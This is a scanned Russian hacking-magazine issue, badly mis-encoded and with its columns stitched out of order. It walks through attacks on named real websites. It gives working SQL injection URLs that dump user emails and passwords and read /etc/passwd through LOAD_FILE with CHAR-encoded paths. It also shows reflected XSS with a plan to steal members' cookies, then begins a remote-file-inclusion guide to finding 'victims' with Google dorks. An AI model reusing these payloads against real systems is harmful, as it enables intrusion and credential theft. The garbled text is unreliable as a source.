êàêèì-òî êîíñóëüòàöèÿìïî óäîáðåíèÿì. Äàâàé ïîïðîáóåì îêó÷èòüáàçó äàííûõ, òåì áîëåå ÷òî ïðîãðàììåð âîîáùå íåçíàåò òàêîãî ñëîâà, êàê ôèëüòðàöèÿ. Áåðåì ëþáîéïàðàìåòð è íà÷èíàåì åãî óäîáðÿòü.  êà÷åñòâå öåëåóêàçàíèÿâûáðàëè ñëåäóþùèé ñöåíàðèé:http://www.compostingcouncil.org/section.cfmÇäåñü óÿçâèì ïàðàìåòð id. Åñëè äîáàâèòü â åãî êîíåöîäèíàðíóþ êàâû÷êó, òî ïðîèçîéäåò îøèáêà âûïîëíåíèÿñöåíàðèÿ. Ðàññìîòðèì îøèáêó ïîäðîáíåå:ODBC Error Code = 37000 (Syntax erroror access violation)[Microsoft][ODBC Microsoft AccessDriver] Syntax error (missing operator)in query expression 'id = 29'''.Âåëèêîëåïíî! Òàêàÿ òàáëèöà äåéñòâèòåëüíî ñóùåñòâóåò,ïîòîìó ÷òî ñåðâåð ñîîáùàåò íàì, ÷òî êîëè-÷åñòâî ïîëåé â îáúåäèíåííîì çàïðîñå íå ñîâïàäàåò.Òåïåðü ìîæíî ïîäáèðàòü ïîëÿ. Ïîëó÷èëîñü13 øòóê. Íåñ÷àñòëèâîå ÷èñëî, îñîáåííî äëÿ ïðîãðàììèñòàýòîãî ñàéòà. Ïîïðîáóåì ïîäîáðàòü ïîëÿ,êîòîðûå åñòü â òàáëèöå users. Ïîäáîð ïîêàçàë, ÷òîçäåñü ïðèñóòñòâóþò userid, email è memberpwd. ïðèíöèïå, äëÿ âçëîìà ýòîãî óæå äîñòàòî÷íî, âåäüïðè ðåãèñòðàöèè ñïðàøèâàþò ìûëî è ïàðîëü, à ýòèäàííûå óæå ìîæíî âûòàùèòü èç òàáëèöû users ñ ïîìîùüþèíæåêòèðîâàíèÿ.Òåïåðü ïîïðîáóåì îïðåäåëèòü, êàêèå åùåòàáëèöû åñòü â áàçå. Ñïðàâêà MS Access ïîäñêàçàëà,÷òî åñòü òàêàÿ ñèñòåìíàÿ òàáëèöà MSysObjects,â êîòîðîé â ïîëå name íàõîäÿòñÿ èìåíà âñåõ òàáëèöáàçû äàííûõ. Ïîïðîáóåì èíæåêòèðîâàòü çàïðîñSELECT ê ýòîé òàáëèöå:http://www.compostingcouncil.org/section.cfm?id=29%20union%20select%201,2,3,4,5,6,name,8,9,10,11,12,13%20from%20MSysObjectsÏîëå name âñòàâèëè â ñåäüìóþ ïîçèöèþ èíæåêòèðîâàííîãîçàïðîñà. Ñîäåðæèìîå ýòîãî ïîëÿ âûâîäèòñÿâ âèäå òàáëèöû íà ðåçóëüòèðóþùåé web-ñòðàíèöå(ðåçóëüòàò ñìîòðè íà ðèñóíêå).Òàêèì îáðàçîì, åñòü âñå ìûëüíèêè, èäåíòèôèêàòîðûè ïàðîëè çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåé(çàðåãèñòðèðîâàíî òîëüêî òðè ÷åëîâåêàè îäèí èç íèõ ÿâíî àäìèí). È åñòü èìåíà âñåõ òàáëèö.Íà ýòîì èññëåäîâàíèå ìîæíî ïðåêðàùàòü.íÿíüêè è àêóøåðêè. Ñëåäóþùèé ñàéò, êîòîðûéïîïàë íà ãëàçà — www.midwife.com. Âëàäåëåö —êîëëåäæ íÿíåê è àêóøåðîê. Äàâàé ïîïðîáóåì âíèìàòåëüíîèññëåäîâàòü ýòó æåðòâó. Îôîðìëåí ñàéòíåïëîõî, ñöåíàðèè íà Macromedia ColdFusion íàïèñàíûäîñòàòî÷íî èíòåðåñíî.


13Ïîïðîáóåì âñàäèòü â êàêîé-íèáóäü ïàðàìåòð ñèìâîëîäèíàðíîé êàâû÷êè è ïîñìîòðèì íà ðåçóëüòàò.Íà ïåðâûé âçãëÿä, ðåçóëüòàò îáíàäåæèâàþùèé, ïîòîìó÷òî ïðîèçîøëà îøèáêà âûïîëíåíèÿ ñöåíàðèÿ.Ñîîáùåíèå îá îøèáêå ãëàñèò, ÷òî íà ñåðâåðå èñïîëüçóåòñÿMySQL è áàçà äàííûõ ñ èìåíåì plasmacms.Ìîæåò áûòü, ãäå-òî ñóùåñòâóåò òàêîé CMSïî èìåíè Plasma, à ìîæåò áûòü ýòî ñàìîïèñíûéäâèæîê, ïðîñòî àäìèí ðåøèë åãî òàê êðàñèâî íàçâàòü.Ïîïðîáóåì ïðèíÿòü ðîäû áåç ýòîãî, õîòÿ ìîæíîãäå-íèáóäü íà õàëàòå çàïèñàòü èíôîðìàöèþ, íàáóäóùåå.Ñìîòðèì, íà ÷åì æå âñå-òàêè çàòêíóëñÿ ñöåíàðèé.À îí çàòêíóëñÿ íà çàïðîñå:SELECTpageID,pageBody,pageTitle,pageHeader,pageFooter,pageFolder,pageAccess,pageURLFROM plasmaContentWHERE pageID=75'' LIMIT 1Ïîïðîáóåì ïîäóìàòü, ÷òî çäåñü ïðîèñõîäèò. Ñóäÿïî èìåíàì ïîëåé, êîòîðûå âûòàñêèâàþòñÿèç òàáëèöû plasmaContent, CMS äåéñòâèòåëüíî õîðîøàÿ.Äåëî â òîì, ÷òî ïî íîìåðó ID èç òàáëèöû âûáèðàåòñÿçàãîëîâîê, øàïêà, ïîäâàë è URL ñòðàíèöû,êîòîðóþ íóæíî îòîáðàçèòü. Ýòî çíà÷èò, ÷òî åñëèïîïûòàòüñÿ èíæåêòèðîâàòü ñâîé êîä, íè÷åãî íåâûéäåò.  ïîëå pageURL äîëæåí áûòü êàêîé-òî URLñòðàíèöû, êîòîðûé óçíàòü ïðîáëåìàòè÷íî. Êòî åãîçíàåò, ñ êàêèì äåôåêòîì íÿíüêè è àêóøåðêè ïðîèçâåëèíà ñâåò ñâîåãî web-ïðîãðàììèñòà, è ÷òî îí çàñóíóëâ ýòî ïîëå. Ïîïûòêè âñòàâèòü â íåãî ÷òî-ëèáîíå óâåí÷àëèñü óñïåõîì.Äëÿ èíæåêòèðîâàíèÿ SQL-êîäà íóæíî èñïîëüçîâàòüñëåäóþùèé URL:http://www.midwife.org/news.cfm?id=75 and 1=0 union select 1,2,3,4,5,6,7,8Ïîïðîáóåì áàíàëüíî çàãðóçèòü åãî: http://www.midwife.org/header.cfm. îòâåò âèäèì îøèáêó, â êîòîðîéîòîáðàæàåòñÿ äàæå êîä ñöåíàðèÿ, ñðàáîòàâøèé íåâåðíî.Ñàìîå èíòåðåñíîå â ýòîì êîäå — ñëåäóþùàÿñòðîêà:Ïðîáëåìà ÿâíî êðîåòñÿ â òîì, ÷òî â URL íåò ïàðàìåòðàid. Ïîïðîáóåì åãî òóäà âíåäðèòü è çàãðóçèìñòðàíè÷êó òàêèì îáðàçîì: http://www.midwife.org/header.cfm?id=75. îòâåò çàãðóçèëàñü øàïêà ñàéòà, íî âíèçóñíîâà ñîîáùåíèå îá îøèáêå è æèðíûì öâåòîìâûäåëåíà ñòðîêà:#subHeader#Íà ýòîò ðàç ïðîáëåìà â òîì, ÷òî ïåðåìåííàÿsubHeader íå èìååò çíà÷åíèÿ. Ïîïðîáóåì çàäàòü åéçíà÷åíèå ÷åðåç URL, òî åñòü äîáàâèì â URL ñëåäóþùèéòåêñò:subHeader=Hello%20from%20Horrific.Âñå ñðàáîòàëî. Ðåáåíîê ðîäèëñÿ êðàñèâûì è çäîðîâûì,à ïîñðåäè ñòðàíèöû êðàñóåòñÿ íàäïèñü «Hellofrom Horrific». Èìåííî ýòîò òåêñò ïåðåäàëñÿ ÷åðåçURL-ïàðàìåòð â ïåðåìåííóþ subHeader.Ïîëó÷àåòñÿ, ÷òî ìû ìîæåì èíæåêòèðîâàòüâ ñòðàíèöó ëþáîé HTML-êîä, â òîì ÷èñëå è Java-Script, à ýòî óæå ïàõíåò àòàêîé XSS. Åñëè ïîïûòàòüñÿçàãðóçèòü ñëåäóþùèé URL, òî íà ñòðàíèöåñ ïîìîùüþ JavaScript îòîáðàçèòñÿ îêíî ñ ïîäîáíûìñîîáùåíèåì:http://www.midwife.org/header.cfm?id=75&subHeader=alert('Ïðèâåò')Òàê êàê íà ñàéòå åñòü ðåãèñòðàöèÿ è öåëûé ðàçäåëmember, îñòàåòñÿ òîëüêî:1 ÂÛßÑÍÈÒÜ E-MAIL ÀÄÐÅÑÀ ÇÀÐÅÃÈÑÒ-ÐÈÐÎÂÀÍÍÛÕ ÏÎËÜÇÎÂÀÒÅËÅÉ;2 ÏÎÄÃÎÒÎÂÈÒÜ URL, ÊÎÒÎÐÛÉ ÁÓÄÅÒÇÀÃÐÓÆÀÒÜ ÑÒÐÀÍÈÖÓ Ñ JAVASCRIPTÈ ÎÒÏÐÀÂËßÒÜ COOKIE ÍÀ ÇÀÐÀÍÅÅÏÎÄÃÎÒÎÂËÅÍÍÛÉ ÑÖÅÍÀÐÈÉ.Îäíèì ñëîâîì, êëàññè÷åñêèé XSS. Ðîäû ïðîøëèóäà÷íî. Ñîîáùèì íÿíüêàì è àêóøåðêàì, ÷òî èõ webïðîãðàììèñòðîäèëñÿ ñ äåôåêòîì ìîçãà :).ó÷èì Berkeley æèçíè. Ñëåäóþùåé æåðòâîé èññëåäîâàíèéñòàë çíàìåíèòûé èíñòèòóò Berkeley.Ïîêàæåì àìåðèêàíöàì æåñòîêóþ äåéñòâèòåëüíîñòü!Èòàê, çàõîäèì íà ñàéò http://cshe.berkeley.edu/è ñìîòðèì, ÷òî òóò åñòü. Âî-ïåðâûõ, ñðàçó áðîñàþòñÿâ ãëàçà ïóáëèêàöèè ñòàòåé. Ïî÷åìó áðîñàþòñÿ?Äà ïîòîìó ÷òî îíè âûáèðàþòñÿ ïî ïàðàìåòðó s, êîòîðûéïåðåäàåòñÿ ÷åðåç url. Ïðîâåðèì ýòîò ïàðàìåòðíà âøèâîñòü.Äëÿ íà÷àëà ïîïðîáóåì äîáàâèòü â åãî êîíåöîäèíàðíóþ êàâû÷êó.  ðåçóëüòàòå ãðóçèòñÿ ñòðàíèöà,íà êîòîðîé ñîîáùàþò, ÷òî íåò ïóáëèêàöèè äëÿîòîáðàæåíèÿ. Óæå íåïëîõî. À åñëè äîáàâèòü «and1=1»? Òîãäà ïóáëèêàöèÿ âåðíåòñÿ íà ðîäèíó. Âñå ÿñíî,äèàãíîç — SQL Injection â ñêðûòîì âèäå. Òî åñòüîøèáêà åñòü, íî ñîîáùåíèÿ îá îøèáêå íåò. Íó, íè÷åãî,ýòî íå ñèëüíî óñëîæíèò çàäà÷ó.Íè÷åãî íîâîãî íå ïðèäóìûâàåì, à ïðîñòî ïîäáèðàåìêîëè÷åñòâî ïîëåé, âîçâðàùàåìûõ çàïðîñîìâ ñöåíàðèè. Ýòî äåëàåòñÿ ïóòåì äîáàâëåíèÿâ êîíåö ïàðàìåòðà îáúåäèíåíèÿ select è ïîñòåïåí-Íî âìåñòî ÷èñëà 8 íà êîíöå íåîáõîäèìî óêàçàòü êàêîå-òîðåàëüíîå çíà÷åíèå èç áàçû äàííûõ, èíà÷åñöåíàðèé âûâàëèâàåòñÿ â îøèáêó «URL íå íàéäåí».Òàêèì îáðàçîì ïîñòðîåíû àáñîëþòíî âñåñòðàíèöû íà ñàéòå. Íî íå ñòîèò îïóñêàòü ðóêè: áåðåìñêàëüïåëü è äåëàåì «Êåñàðåâî ñå÷åíèå».À òî÷íåå, — ïîñìîòðèì, ÷òî åùå åñòü â ñîîáùåíèèîá îøèáêå. À òàì åñòü ññûëêà íà ôàéë:C:\Inetpub\wwwroot\Clients\midwife.org\www\plasmacms\cfm\page.cfcÝòî íàèáîëåå èíòåðåñíûé ñöåíàðèé, òàê êàê â íåì èïðîèñõîäèò ôîðìèðîâàíèå ñòðàíèöû. Íî äîñòóï ê íåìóèç ñòðîêè URL çàïðåùåí, è ïðè ïîïûòêå îáðàòèòüñÿê íåìó âûâàëèâàåòñÿ ñîîáùåíèå ñ ïðîñüáîé ââåñòèïàðîëü àäìèíà. Ïîñìîòðèì, íà êàêèå åùå ôàéëûðóãàåòñÿ ñöåíàðèé. Ñëåäóþùèì â ñïèñêå èäåò:C:\Inetpub\wwwroot\Clients\midwife.org\www\header.cfmÎøèáêà çàïðîñà


14 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07CHAR(60,72,49,62,117,115,101,114,60,47,72,49,62)Åñëè ïåðåâåñòè â óäîáî÷èòàåìûé òåêñò, òî ýòè êîäûïðåâðàùàþòñÿ â ñòðî÷êó:userÑòàâèì ýòîò êîä âìåñòî òðåòüåãî ïàðàìåòðàâíåäðåííîãî çàïðîñà è íàñëàæäàåìñÿ. Íàêîíåöòî.Çàâåòíîå ñëîâî user ïîÿâèëîñü íà ñòðàíèöå,ïðè÷åì ñ ó÷åòîì ôîðìàòèðîâàíèÿ òåãà . Ïîëó÷àåòñÿ,÷òî òàêèì îáðàçîì ìîæíî âíåäðÿòüè JavaScript-êîä!Èòàê, ïîäâåäåì èòîã. Ìû óæå ìîæåì èíæåêòèðîâàòüêîä è äàæå íàó÷èëèñü ïåðåäàâàòü ñòðîêèñ ïîìîùüþ ôóíêöèè CHAR. Ìû òàêæå ìîæåì áûòüïðàêòè÷åñêè óâåðåííûìè, ÷òî ïåðåä íàìè ñàìàÿíàñòîÿùàÿ áàçà äàííûõ MySQL. À ÷òî ýòî íàì äàåò?À òî, ÷òî åñòü åùå òàêàÿ ôóíêöèÿ, êàê LOAD_FILE,êîòîðàÿ ìîæåò çàãðóæàòü ëþáîé ôàéë íà ñåðâåðå.Ïîïðîáóåì çàãðóçèòü ôàéë ïàðîëåé /etc/passwd. Íåçàáûâàåì, ÷òî ñòðîêè íóæíî êîäèðîâàòü, à çíà÷èò,îáðàùåíèå ê ôàéëó äîëæíî áûòü:LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100))Ñîäåðæèìîå ôàéëà /etc/passwd ñîáñòâåííîé ïåðñîíîéíîãî óâåëè÷åíèÿ êîëè÷åñòâà ïîëåé äî òåõ ïîð, ïîêàñòðàíèöà ñíîâà íå îòîáðàçèòñÿ êîððåêòíî. Ïîëó-÷èëîñü ÷åòûðå ïîëÿ, è ñëåäóþùèé URL îòîáðàçèëñÿêîððåêòíî:http://cshe.berkeley.edu/publications/publications.php?s=1%20and%201=1%20union%20select%201,2,3,4Òåïåðü äåëàåì òàê, ÷òîáû çàïðîñ, ïðîïèñàííûéâ ñöåíàðèè, íè÷åãî íå âåðíóë. Äëÿ ýòîãî â URL, ïðèâåäåííîìâûøå, óñëîâèå «1=1» çàìåíÿåì íà «1=0».Òåïåðü èñ÷åçíåò ñòàòüÿ ñ ID ðàâíûì 1, à ïîÿâèòñÿ òî,÷òî âîçâðàùàåò âíåäðåííûé çàïðîñ. À âíåäðåííûéçàïðîñ âîçâðàùàåò ÷åòûðå ïîëÿ ñî çíà÷åíèÿìè îò 1äî 4. Ýòî ñäåëàíî ñïåöèàëüíî, ÷òîáû ïðîùå áûëîíàéòè, êóäà íà ñòðàíèöå ïîïàäàþò ýòè ïîëÿ. ×èñëà 1íå îêàçàëîñü â ôîðìå. Âèäèìî, ýòî èäåíòèôèêàòîð,êîòîðûé íå îòîáðàæàåòñÿ. À âîò ÷èñëà îò 2 äî 3 îòîáðàæàþòñÿ,è, çíà÷èò, â ëþáóþ èç ýòèõ ïîçèöèé ìîæíîâíåäðÿòü èìåíà ïîëåé èëè äðóãèå ôóíêöèè.Ïîïðîáóåì âûÿñíèòü âåðñèþ, èìÿ ïîëüçîâàòåëÿè èìÿ áàçû äàííûõ. Äëÿ ýòîãî ìîæíî âìåñòîïîñëåäíåé ÷åòâåðêè â URL ïîñëåäîâàòåëüíî ïîñòàâèòüèìåíà ôóíêöèé VERSION(), USER() è DATA-BASE(). Îáëîìèñü áàáêà, ìû íà ïàðîõîäå! Íè îäíàèç ýòèõ ôóíêöèé íè÷åãî íå âåðíóëà, à â îòâåòáðàóçåð ãðóçèò ñòðàíèöó ñ ñîîáùåíèåì î òîì, ÷òîíè÷åãî íåò äëÿ îòîáðàæåíèÿ. Ýòî äåéñòâèòåëüíîîáëîì. Ñîîáùåíèé îá îøèáêàõ íåò, è, çíà÷èò, ìûíå ìîæåì òî÷íî îïðåäåëèòü, êàêàÿ ïåðåä íàìè áàçàäàííûõ. À ÷òî åñëè ýòî íå MySQL, è ïîýòîìóôóíêöèé íåò?Ïðîâåðèì, äåéñòâèòåëüíî ëè ïåðåä íàìèMySQL. Ïîïðîáóåì îáúåäèíåííûé çàïðîñ ñâÿçàòüñ òàáëèöåé MySQL.user:http://cshe.berkeley.edu/publications/publications.php?s=1%20and%201=0%20union%20select%201,2,3,4%20from%20mysql.userÇàïðîñ ïðîõîäèò óñïåøíî, çíà÷èò, áàçà äàííûõMySQL ñóùåñòâóåò è â íåé åñòü òàáëèöà user. Ïîïðîáóåìâûâåñòè èìÿ ïîëüçîâàòåëÿ èç ýòîé òàáëèöû.Âìåñòî ÷åòâåðêè âñòàâëÿåì èìÿ ïîëÿ user è ñíîâàïîëó÷àåì îáëîì. Äà ÷òî òàêîå?! Ìîæåò, ýòî âñå æåäðóãàÿ áàçà äàííûõ, ïðîñòî äëÿ ìàñêèðîâêè ñîçäàëèáàçó è òàáëèöó mysql.user? Åùå îäèí òåñò — ïîïðîáóåìâìåñòî öèôð âî âíåäðåííîì çàïðîñå ïîñòàâèòüòåêñò. Âîò îíî — ñ÷àñòüå àäìèíà: çàïðîñ ìîæåòâîçâðàùàòü òîëüêî ÷èñëà, à åñëè ïîñòàâèòüñòðîêó, òî ðåçóëüòàò — ïîëíûé îáëîì.×òî æå äåëàòü? Äîïóñòèì âñå æå, ÷òî ïåðåäíàìè ñàìûé ïîïóëÿðíûé MySQL. Òîãäà ìîæíî áóäåòïîïðîáîâàòü ïåðåäàâàòü òåêñò ñ ïîìîùüþôóíêöèè CHAR. Ôîðìèðóåì ñëåäóþùóþ ñòðîêó: ñêîáî÷êàõ çàêîäèðîâàí ïóòü /etc/passwd.Âñòàâëÿåì ýòîò êîä â URL íà ìåñòî ëþáîãî èçòðåõ ïàðàìåòðîâ (êðîìå ïåðâîãî) è çàãðóæàåìñòðàíè÷êó. Ïåðåä íàìè ñïèñîê ïîëüçîâàòåëåéñîáñòâåííîé ïåðñîíîé. Ïîëó÷àåòñÿ, ÷òî àäìèíàìåùå ó÷èòüñÿ è ó÷èòüñÿ. È ýòî çíàìåíèòûé Áåðêëè?!Ìû ìîæåì ïðîñìàòðèâàòü ôàéëû íà ñåðâåðå,íà êîòîðûå õâàòèò ïðàâ...óäà÷è! È ýòî òîëüêî ñàìûå ïîêàçàòåëüíûåñàéòû. Äàííàÿ îøèáêà, íåñìîòðÿ íà ñâîþ äîëãóþèñòîðèþ, î÷åíü ðàñïðîñòðàíåíà è î÷åíü îïàñíà, íîïðîãðàììèñòû è àäìèíèñòðàòîðû ïî-ïðåæíåìó äîïóñêàþòåå! È ïîñëå ýòîãî ãîâîðÿò, ÷òî âî âñåì âèíîâàòûõàêåðû?! Âèíîâàòû ïðîãðàììåðû-ïèîíåðû,à õàêåðû òîëüêî íàêàçûâàþò èõ çà ãëóïîñòü è íåâíèìàòåëüíîñòü.Âñåì àäìèíèñòðàòîðàì ïðèâåäåííûõ ñàéòîâìû ðàçîñëàëè ñîîáùåíèå ñ îïèñàíèåì îøèáêè…Ïîçîð íà èõ ñåäûå ãîëîâû!Âîò îí — âíåäðåííûé òåêñò, â ñòðîêå URL âûäåëåíàñàìàÿ èíòåðåñíàÿ ÷àñòü çàïðîñà


ÝÍÖÈÊËÎÏÅÄÈßGamePostÎïèñàíèå:Age of Empires III The Warchiefs - ýòîñòðàòåãè÷åñêàÿ èãðà íîâîãî ïîêîëåíèÿ,ñî÷åòàþùàÿ âûñîêèé óðîâåíü ðåàëèçìà,ñëîæíóþ ôèçè÷åñêóþ ìîäåëü è ñîâðåìåííóþãðàôèêó.  Age of Empires III èãðîêàìïðåäîñòàâëåíà âîçìîæíîñòü âîçãëàâèòü îäíîèç åâðîïåéñêèõ ãîñóäàðñòâ è îòïðàâèòüñÿ íàïîêîðåíèå Íîâîãî Ñâåòà.Íåçàìåíèìûéïîìîùíèêïðè âûáîðåèãðûAge of Empires III: The Warchiefs1400 ð.Æàíð:StrategyÎïèñàíèå:Âû ñïàñëè îñòðîâ Khorinis îò ñèë çëà â Gothic1 è Gothic 2. Òåïåðü ïðèøëî âðåìÿîòïðàâèòüñÿ â öàðñòâà íà ìàòåðèêå.Âòîðæåíèå Îðêîâ ïîðàáîòèëî ÷åëîâå÷åñêîåêîðîëåâñòâî. Åñòü ëèøü íåñêîëüêî ñâîáîäíûõëþäåé íà ëåäÿíîì ñåâåðå è â þæíîé ïóñòûíå,à òàê æå ãîðñòêà ìÿòåæíèêîâ, ñêðûâàþùèõñÿâ ëåñàõ è ãîðàõ Ìèäëåíäà.Gothic 3 (US)2240 ð.Æàíð:AdventureÎïèñàíèå:SWAT 41568 ð. ãîðîäå êðèçèñ è ñóìàòîõà. Êîãäà îáû÷íûåñðåäñòâà ïðàâîîõðàíèòåëüíûõ îðãàíîâ íåïîäõîäÿò, åñòü ãðóïïà, êîòîðàÿ ïðèçâàíà,÷òîáû ñêóïî âûäàòü ïðàâîñóäèþ òåõ, êîòîðûåïîëàãàþò, ÷òî îíè âûøå çàêîíà. Ýòà âûñîêîöåíèìàÿ è îñîáî îáó÷åííàÿ åäèíèöà – SWATâ SWAT 4. Âû – ëèäåð òàêîãî ïîäðàçäåëåíèÿâ ïðåäåëàõ áîëüøîãî ãîðîäà, ãäå îïàñíîñòüïîä÷àñ âûãëÿäèò íåïðåäîòâðàòèìîé.Æàíð:ActionÑÀÌÀß ÏÎËÍÀßÈÍÔÎÐÌÀÖÈß ÎÁ ÈÃÐÀÕ* *Îãðîìíîå êîëè÷åñòâîñêðèíøîòîâÈñ÷åðïûâàþùèåîïèñàíèÿÈãðàéïðîñòî!GamePostÒðåáóþòñÿ êóðüåðû! Äîñòîéíûå óñëîâèÿ. Êëàññíûé ìîëîäîé êîëëåêòèâ.Çâîíèòå: +7 (495) 780 88 25 èëè ïèøèòå: sales@gamepost.ruÂñå öåíû äåéñòâèòåëüíû íà ìîìåíò ïóáëèêàöèè ðåêëàìû


16 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07RFI-ïàíîïòèêóìúÒîíêîñòè óäàëåííîãî/ëîêàëüíîãîPHP-èíêëþäèíãàÍÅÑÌÎÒÐß ÍÀ ÒÎ, ×ÒÎ ÝÊÑÏËÎÉÒÛ ÓÄÀËÅÍÍÎÃÎ ÂÊËÞ×ÅÍÈß ÔÀÉËΠ×ÐÅÇÂÛ×ÀÉÍÎÐÀÑÏÐÎÑÒÐÀÍÅÍÛ, ÄÎÂÎËÜÍÎ ÏÐÎÑÒÛ ÄËß ÏÐÈÌÅÍÅÍÈß È Î×ÅÍÜ ÎÏÀÑÍÛ,ÌÍÎÆÅÑÒÂÎ ÏÐÎÃÐÀÌÌÈÑÒΠÏÎ-ÏÐÅÆÍÅÌÓ ÑÎÂÅÐØÀÞÒ ÒÈÏÈ×ÍÛÅ ÎØÈÁÊÈ ÏÐÈÐÀÇÐÀÁÎÒÊÅ WEB-ÏÐÈËÎÆÅÍÈÉ, ÎÑÒÀÂËßß ËÀÇÅÉÊÈ ÄËß ÓØËÛÕ ÕÀÊÅÐÎÂ.  ÄÀÍÍÎÉÑÒÀÒÜÅ ÌÛ ÏÎÏÛÒÀÅÌÑß ÍÅ ÒÎËÜÊÎ ÏÎÊÀÇÀÒÜ, ÊÀÊ ÇËÎÓÌÛØËÅÍÍÈÊÈ ÏÎËÜÇÓÞÒÑßÏÐÅÈÌÓÙÅÑÒÂÎÌ ÎØÈÁÎÊ ÊÎÄÈÍÃÀ Ñ ÖÅËÜÞ ÍÀÐÓØÅÍÈß ÊÎÍÔÈÄÅÍÖÈÀËÜÍÎÑÒÈÈÍÔÎÐÌÀÖÈÈ, ÍÎ È ÍÀÓ×ÈÌÑß ÇÀÙÈÙÀÒÜ WEB-ÏÐÈËÎÆÅÍÈÅÀíäðåé Cåìåíþ÷åíêîsemuha@mail.ruàíàëèç æåðòâû. Ñ ÷åãî æå íà÷àòü íîâîèñïå-÷åííîìó õàêåðó, æåëàþùåìó ïðîñëàâèòüñÿ, çàõâàòèòüâëàñòü âî âñåì ìèðå èëè ïðîñòî ïîäçàðàáîòàòü?Íà÷àòü ñëåäóåò ñ ïîèñêà è àíàëèçà æåðòâû.Ïðåæäå ÷åì ïûòàòüñÿ àòàêîâàòü êàêîé ëèáîweb-ïîðòàë íóæíî ñîáðàòü èíôîðìàöèþ, íåîáõîäèìóþè äîñòàòî÷íóþ äëÿ åãî âçëîìà.Èíôîðìàöèþ ìîæíî ðàçáèòü íà êàòåãîðèèïî ïîñëåäîâàòåëüíîñòè ïðîèçâîäèìûõ äåéñòâèé.Âîò îíè:1 ÏÐÎÂÅÐÊÀ ÒÎÃÎ, ÈÑÏÎËÜÇÓÅÒ ËÈÑÀÉÒ-ÆÅÐÒÂÀ ÑÂÎÈ ÑÎÁÑÒÂÅÍÍÛÅÑÊÐÈÏÒÛ ÈËÈ ÓÆÅ ÍÀÏÈÑÀÍÍÛÅÊÅÌ-ÒÎ ÑÖÅÍÀÐÈÈ.— ÅÑËÈ ÑÖÅÍÀÐÈÈ ÊÅÌ-ÒÎ ÓÆÅ ÍÀÏÈÑÀ-ÍÛ, ÒÎ ÅÑÒÜ ßÂËßÞÒÑß ÎÁÙÅÄÎÑÒÓÏ-ÍÛÌÈ, ÒÎ ÈÙÅÌ ÑÓÙÅÑÒÂÓÞÙÈÉÝÊÑÏËÎÉÒ ÍÀ ÖÅËÅÂÎÅ ÏÐÈËÎÆÅÍÈÅ.ÂÅÐÎßÒÍÎÑÒÜ ÑÓÙÅÑÒÂÎÂÀÍÈß


17ÝÊÑÏËÎÉÒÀ ÏÎÄ ÊÀÊÎÅ ËÈÁÎ ÏÐÈËÎ-ÆÅÍÈÅ ÏÐÎÏÎÐÖÈÎÍÀËÜÍÎ ÏÎÏÓËßÐ-ÍÎÑÒÈ ÄÀÍÍÎÃÎ ÏÐÈËÎÆÅÍÈß;—  ÑËÓ×ÀÅ ÑÀÌÎÏÈÑÍÛÕ ÑÊÐÈÏÒÎÂÍÅÎÁÕÎÄÈÌÎ ÏÎËÓ×ÈÒÜ ÈÑÕÎÄÍÛÉÊÎÄ ÖÅËÅÂÎÃÎ ÏÐÈËÎÆÅÍÈß ÄËß ÑÀ-ÌÎÑÒÎßÒÅËÜÍÎÉ ÏÐÎÂÅÐÊÈ ÍÀ ÍÀËÈ-×ÈÅ ÁÀÃÎÂ.2 ÐÀÑÑÌÎÒÐÅÍÈÅ ÑÖÅÍÀÐÈÅÂ, ÒÐÅÁÓÞ-ÙÈÕ ÂÂÎÄ ÄÀÍÍÛÕ ÏÎËÜÇÎÂÀÒÅËß.— ÏÐÎÂÅÐÈÒÜ, ÐÀÁÎÒÀÅÒ ËÈ ÁÐÀÓÇÈÍÃÄÈÐÅÊÒÎÐÈÉ;— ÏÐÎÂÅÐÈÒÜ ÍÀ ÑÓÙÅÑÒÂÎÂÀÍÈÅÈ ÄÎÑÒÓÏÍÎÑÒÜ ÎÁÙÅÏÐÈÍßÒÛÅÔÀÉËÛ È ÄÈÐÅÊÒÎÐÈÈ (/ETC, /BIN, /SBIN,/ETC/RESOLV.CONF, /ETC/SERVICES,/ETC/PASSWD È ÒÀÊ ÄÀËÅÅ).3 ÂÛßÑÍÅÍÈÅ ÒÎÃÎ, ÊÀÊ ÑÖÅÍÀÐÈÈÎÁÐÀÁÀÒÛÂÀÞÒ ÂÂÎÄÈÌÛÅ ÄÀÍÍÛÅ.ÝÒÎ ÌÎÆÅÒ ÁÛÒÜ:— ÇÀÏÈÑÜ Â ÁÀÇÛ ÄÀÍÍÛÕ ÈËÈ ÔÀÉËÛ;— ÂÛÂÎÄ ÄÀÍÍÛÕ ÎÁÐÀÒÍÎ ÏÎËÜÇÎÂÀÒÅËÞ;— ÂÛÏÎËÍÅÍÈÅ ÊÎÌÀÍÄ.4 ÂÛßÑÍÅÍÈÅ ÒÎÃÎ, ÊÀÊ ÏÐÈËÎÆÅÍÈßÔÈËÜÒÐÓÞÒ ÂÂÎÄÈÌÛÅ ÄÀÍÍÛÅ.ÏÎÏÛÒÀÒÜÑß ÎÁÎÉÒÈ ÝÒÈ ÔÈËÜÒÐÛ.5 ÈÑÏÎËÜÇÎÂÀÍÈÅ ÓÍÈÂÅÐÑÀËÜÍÎÃÎWEB-ÔÈËÜÒÐÀ PROXOMITRON ÈËÈ ÏÎ-ÄÎÁÍÎÉ ÓÒÈËÈÒÛ, ÏÎÇÂÎËßÞÙÅÉÏÐÎÑÌÀÒÐÈÂÀÒÜ HTTP-ÇÀÃÎËÎÂÊÈÑÎÎÁÙÅÍÈÉ.6 ÈÑÏÎËÜÇÎÂÀÍÈÅ GOOGLE ÄËß ÑÁÎÐÀÈÍÔÎÐÌÀÖÈÈ.Ïîñëåäíèé ïóíêò ìîæíî ðàññìàòðèâàòü îòäåëüíîîò ïðèâåäåííîé êëàññèôèêàöèè, ïîñêîëüêó îí ïî ïðàâóçàñëóæèâàåò îñîáîãî âíèìàíèÿ.Google êàê èíñòðóìåíò õàêèíãà. Êàê èçâåñòíî,åñëè íóæíî ÷òî-òî íàéòè — google it! Ýòîò ïðèíöèïìîæíî îòíåñòè è ê ïîèñêó óÿçâèìûõ web-ïðèëîæåíèé.Ïîïðîáóåì ââåñòè â ñòðîêó ïîèñêà Googleçàïðîñ òèïà: inurl:"index.php?page=".Äàííûé çàïðîñ äàåò ïîíÿòü ïîèñêîâîìó äâèæêó,÷òî ìû 